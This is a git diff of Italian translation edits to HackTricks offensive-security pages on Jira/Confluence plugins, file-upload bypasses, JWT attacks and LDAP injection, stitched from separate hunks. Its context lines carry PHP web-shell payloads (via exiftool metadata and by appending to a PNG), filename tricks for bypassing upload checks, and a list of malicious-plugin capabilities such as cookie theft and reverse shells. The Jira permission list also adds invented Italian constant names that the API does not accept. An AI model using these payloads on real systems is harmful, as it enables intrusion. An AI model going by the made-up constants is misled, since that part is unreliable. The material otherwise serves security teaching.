Un'importante **aggiornamento** è stato effettuato il **1° febbraio 2019**, richiedendo che l'endpoint 'mypermissions' includesse un **parametro 'permission'**. Questo requisito mira a **migliorare la sicurezza** specificando i privilegi richiesti: [controllalo qui](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
* ADD\_COMMENTS
|
||||
* ADMINISTER
|
||||
* ADMINISTER\_PROJECTS
|
||||
* ASSIGNABLE\_USER
|
||||
* ASSIGN\_ISSUES
|
||||
* BROWSE\_PROJECTS
|
||||
* BULK\_CHANGE
|
||||
* CLOSE\_ISSUES
|
||||
* CREATE\_ATTACHMENTS
|
||||
* CREATE\_ISSUES
|
||||
* CREATE\_PROJECT
|
||||
* CREATE\_SHARED\_OBJECTS
|
||||
* DELETE\_ALL\_ATTACHMENTS
|
||||
* DELETE\_ALL\_COMMENTS
|
||||
* DELETE\_ALL\_WORKLOGS
|
||||
* DELETE\_ISSUES
|
||||
* DELETE\_OWN\_ATTACHMENTS
|
||||
* DELETE\_OWN\_COMMENTS
|
||||
* DELETE\_OWN\_WORKLOGS
|
||||
* EDIT\_ALL\_COMMENTS
|
||||
* EDIT\_ALL\_WORKLOGS
|
||||
* EDIT\_ISSUES
|
||||
* EDIT\_OWN\_COMMENTS
|
||||
* EDIT\_OWN\_WORKLOGS
|
||||
* LINK\_ISSUES
|
||||
* MANAGE\_GROUP\_FILTER\_SUBSCRIPTIONS
|
||||
* MANAGE\_SPRINTS\_PERMISSION
|
||||
* MANAGE\_WATCHERS
|
||||
* MODIFY\_REPORTER
|
||||
* MOVE\_ISSUES
|
||||
* RESOLVE\_ISSUES
|
||||
* SCHEDULE\_ISSUES
|
||||
* SET\_ISSUE\_SECURITY
|
||||
* SYSTEM\_ADMIN
|
||||
* TRANSITION\_ISSUES
|
||||
* USER\_PICKER
|
||||
* VIEW\_AGGREGATED\_DATA
|
||||
* VIEW\_DEV\_TOOLS
|
||||
* VIEW\_READONLY\_WORKFLOW
|
||||
* VIEW\_VOTERS\_AND\_WATCHERS
|
||||
* WORK\_ON\_ISSUES
|
||||
* ADMINISTRARE
|
||||
* ADMINISTRARE\_PROGETTI
|
||||
* UTENTE\_ASSEGNAZIONE
|
||||
* ASSEGNA\_QUESTIONI
|
||||
* NAVIGARE\_PROGETTI
|
||||
* MODIFICA\_MASSIVA
|
||||
* CHIUDI\_QUESTIONI
|
||||
* CREA\_ALLEGATI
|
||||
* CREA\_QUESTIONI
|
||||
* CREA\_PROGETTO
|
||||
* CREA\_OGGETTI\_CONDIVISI
|
||||
* ELIMINA\_TUTTI\_GLI\_ALLEGATI
|
||||
* ELIMINA\_TUTTI\_I\_COMMENTI
|
||||
* ELIMINA\_TUTTI\_I\_WORKLOG
|
||||
* ELIMINA\_QUESTIONI
|
||||
* ELIMINA\_PROPRI\_ALLEGATI
|
||||
* ELIMINA\_PROPRI\_COMMENTI
|
||||
* ELIMINA\_PROPRI\_WORKLOG
|
||||
* MODIFICA\_TUTTI\_I\_COMMENTI
|
||||
* MODIFICA\_TUTTI\_I\_WORKLOG
|
||||
* MODIFICA\_QUESTIONI
|
||||
* MODIFICA\_PROPRI\_COMMENTI
|
||||
* MODIFICA\_PROPRI\_WORKLOG
|
||||
* COLLEGA\_QUESTIONI
|
||||
* GESTISCI\_ISCRIZIONI\_FILTRI\_GRUPPO
|
||||
* GESTISCI\_PERMESSO\_SPRINT
|
||||
* GESTISCI\_OSSERVER
|
||||
* MODIFICA\_REPORTER
|
||||
* MUOVI\_QUESTIONI
|
||||
* RISOLVI\_QUESTIONI
|
||||
* PROGRAMMA\_QUESTIONI
|
||||
* IMPOSTA\_SICUREZZA\_QUESTIONI
|
||||
* AMMINISTRATORE\_DI\_SYSTEMA
|
||||
* TRANSIZIONE\_QUESTIONI
|
||||
* SELEZIONATORE\_UTENTE
|
||||
* VISUALIZZA\_DATI\_AGGREGATI
|
||||
* VISUALIZZA\_STRUMENTI\_DEV
|
||||
* VISUALIZZA\_WORKFLOW\_DI\_SOLI\_LETTURA
|
||||
* VISUALIZZA\_VOTANTI\_E\_OSSERVER
|
||||
* LAVORA\_SU\_QUESTIONI
|
||||
|
||||
Esempio: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||
```bash
|
||||
|
@ -122,16 +122,16 @@ Una volta trovato un XSS, in [**questo repo github**](https://github.com/cyllect
|
|||
|
||||
Queste sono alcune delle azioni che un plugin malevolo potrebbe eseguire:
|
||||
|
||||
* **Nascondere i plugin agli amministratori**: È possibile nascondere il plugin malevolo iniettando del javascript front-end.
|
||||
* **Esfiltrare allegati e pagine**: Consentire di accedere e esfiltrare tutti i dati.
|
||||
* **Furto di token di sessione**: Aggiungere un endpoint che restituirà gli header nella risposta (con il cookie) e del javascript che lo contatterà e esfiltrerà i cookie.
|
||||
* **Esecuzione di comandi**: Ovviamente è possibile creare un plugin che eseguirà codice.
|
||||
* **Shell inversa**: O ottenere una shell inversa.
|
||||
* **Nascondere i Plugin dagli Amministratori**: È possibile nascondere il plugin malevolo iniettando del javascript front-end.
|
||||
* **Esfiltrare Allegati e Pagine**: Consentire di accedere e esfiltrare tutti i dati.
|
||||
* **Furto di Token di Sessione**: Aggiungere un endpoint che restituirà gli header nella risposta (con il cookie) e del javascript che lo contatterà e esfiltrerà i cookie.
|
||||
* **Esecuzione di Comandi**: Ovviamente è possibile creare un plugin che eseguirà codice.
|
||||
* **Reverse Shell**: O ottenere una reverse shell.
|
||||
* **Proxying DOM**: Se Confluence è all'interno di una rete privata, sarebbe possibile stabilire una connessione attraverso il browser di un utente con accesso e, ad esempio, contattare il server eseguendo comandi attraverso di esso.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente di polacco scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Impara e pratica il hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
@ -26,7 +26,7 @@ Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - *
|
|||
Altre estensioni utili:
|
||||
|
||||
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
* **Funzionamento in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
* **Funzionante in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
|
@ -36,11 +36,11 @@ Altre estensioni utili:
|
|||
|
||||
### Bypass file extensions checks
|
||||
|
||||
1. Se applicabile, **controlla** le **estensioni precedenti.** Provale anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
|
||||
1. Se applicabile, **controlla** le **estensioni precedenti.** Prova anche a usarle con alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Controlla **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (usa anche le estensioni precedenti):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforce** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni precedentemente** menzionate_)
|
||||
3. Prova ad aggiungere **caratteri speciali alla fine.** Potresti usare Burp per **bruteforce** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni precedentemente** menzionate_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
@ -62,15 +62,15 @@ Altre estensioni utili:
|
|||
5. Aggiungi **un altro livello di estensioni** al controllo precedente:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Prova a mettere l'**estensione exec prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente che termina in .php\*\* eseguirà codice):
|
||||
6. Prova a mettere l'**estensione di esecuzione prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione **_**.php**_**, ma** non necessariamente che termina in .php** eseguirà codice):
|
||||
* _es: file.php.png_
|
||||
7. Usando **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un **file vuoto con l'estensione vietata** verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il modello “**::$data**” può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo modello potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
|
||||
8. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
|
||||
8. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux massimo 255 byte
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
|
||||
# Carica il file e controlla la risposta su quanti caratteri consente. Diciamo 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
|
@ -80,9 +80,9 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
* Bypass **Content-Type** controllando impostando il **valore** dell'**intestazione Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
|
||||
* Bypass **Content-Type** controlli impostando il **valore** dell'**intestazione Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* Bypass **magic number** controllando aggiungendo all'inizio del file i **byte di una vera immagine** (confondere il comando _file_). Oppure introduci la shell all'interno dei **metadati**:\
|
||||
* Bypass **magic number** controllo aggiungendo all'inizio del file i **byte di una vera immagine** (confondere il comando _file_). Oppure introduci la shell all'interno dei **metadati**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oppure potresti anche **introdurre il payload direttamente** in un'immagine:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
|
@ -113,7 +113,7 @@ Se stai cercando di caricare file su un **server ASP**, [dai un'occhiata al truc
|
|||
|
||||
I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **utilizzati come un file php** (eseguendolo con php, o includendolo all'interno di uno script...)
|
||||
|
||||
L'estensione `.inc` è a volte utilizzata per file php che vengono utilizzati solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver consentito **l'esecuzione di questa estensione**.
|
||||
L'estensione `.inc` è a volte utilizzata per file php che sono solo utilizzati per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver consentito **l'esecuzione di questa estensione**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
|
@ -125,7 +125,7 @@ Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuo
|
|||
|
||||
Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
|
||||
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. Notabilmente, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
|
||||
|
||||
Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi:
|
||||
```ini
|
||||
|
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
|
|||
```
|
||||
### Decompress in different folders
|
||||
|
||||
La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
|
||||
La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttate. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
|
||||
|
||||
Un exploit automatizzato per creare tali file è disponibile su [**evilarc su GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come mostrato:
|
||||
```python
|
||||
|
@ -312,7 +312,7 @@ Maggiore informazione in: [https://www.idontplaydarts.com/2012/06/encoding-web-s
|
|||
|
||||
## Polyglot Files
|
||||
|
||||
I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa combinazione; sono anche fattibili combinazioni come GIF e JS o PPT e JS.
|
||||
I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa accoppiamento; combinazioni come GIF e JS o PPT e JS sono anche fattibili.
|
||||
|
||||
L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La prassi comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.
|
||||
|
||||
|
@ -329,7 +329,7 @@ Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -10,12 +10,12 @@ Impara e pratica il hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
@ -36,7 +36,7 @@ Se sei fortunato, lo strumento troverà qualche caso in cui l'applicazione web c
|
|||
|
||||
![](<../.gitbook/assets/image (935).png>)
|
||||
|
||||
Poi, puoi cercare la richiesta nel tuo proxy o scaricare il JWT utilizzato per quella richiesta usando jwt\_ tool:
|
||||
Poi, puoi cercare la richiesta nel tuo proxy o scaricare il JWT utilizzato per quella richiesta usando jwt\_tool:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
|
@ -44,15 +44,15 @@ Puoi anche utilizzare l'[**Estensione Burp SignSaboteur**](https://github.com/d0
|
|||
|
||||
### Modifica i dati senza modificare nulla
|
||||
|
||||
Puoi semplicemente manomettere i dati lasciando la firma così com'è e controllare se il server sta verificando la firma. Prova a cambiare il tuo nome utente in "admin", ad esempio.
|
||||
Puoi semplicemente modificare i dati lasciando la firma così com'è e controllare se il server sta verificando la firma. Prova a cambiare il tuo nome utente in "admin", ad esempio.
|
||||
|
||||
#### **La firma del token viene controllata?**
|
||||
|
||||
Per controllare se la firma di un JWT viene verificata:
|
||||
Per verificare se la firma di un JWT viene verificata:
|
||||
|
||||
* Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori dettagliati dovrebbero essere esaminati.
|
||||
* Un cambiamento nella pagina restituita indica anche una verifica.
|
||||
* Nessun cambiamento suggerisce nessuna verifica; è il momento di sperimentare con la manomissione delle affermazioni del payload.
|
||||
* Nessun cambiamento suggerisce nessuna verifica; è il momento di sperimentare con la modifica delle affermazioni del payload.
|
||||
|
||||
### Origine
|
||||
|
||||
|
@ -146,7 +146,7 @@ A scenario where the `kid` parameter specifies a file path used within a command
|
|||
#### jku
|
||||
|
||||
jku sta per **JWK Set URL**.\
|
||||
Se il token utilizza un claim di **Header** “**jku**” allora **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che detiene la Chiave Pubblica per verificare il token. Modifica il token per puntare il valore jku a un servizio web che puoi monitorare.
|
||||
Se il token utilizza un claim di **Header** “**jku**” allora **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che detiene la chiave pubblica per verificare il token. Modifica il token per puntare il valore jku a un servizio web di cui puoi monitorare il traffico.
|
||||
|
||||
First you need to create a new certificate with new private & public keys.
|
||||
```bash
|
||||
|
@ -260,15 +260,15 @@ La scadenza del token viene controllata utilizzando il claim "exp" Payload. Dato
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -3,23 +3,23 @@
|
|||
## LDAP Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -27,7 +27,7 @@ Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - *
|
|||
|
||||
### **LDAP**
|
||||
|
||||
**Se vuoi sapere cos'è LDAP accedi alla seguente pagina:**
|
||||
**Se vuoi sapere cos'è LDAP, accedi alla seguente pagina:**
|
||||
|
||||
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -37,7 +37,7 @@ Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - *
|
|||
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
**Filtro** = ( filtercomp )\
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = and / or / not / item\
|
||||
**And** = & filterlist\
|
||||
**Or** = |filterlist\
|
||||
|
@ -50,8 +50,8 @@ Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - *
|
|||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
**(&)** = Assoluto VERO\
|
||||
**(|)** = Assoluto FALSO
|
||||
**(&)** = Absolute TRUE\
|
||||
**(|)** = Absolute FALSE
|
||||
|
||||
Ad esempio:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
|
@ -138,7 +138,7 @@ password=any
|
|||
|
||||
### Blind LDAP Injection
|
||||
|
||||
Puoi forzare risposte False o True per controllare se vengono restituiti dati e confermare una possibile Blind LDAP Injection:
|
||||
Puoi forzare risposte False o True per verificare se vengono restituiti dati e confermare una possibile Blind LDAP Injection:
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
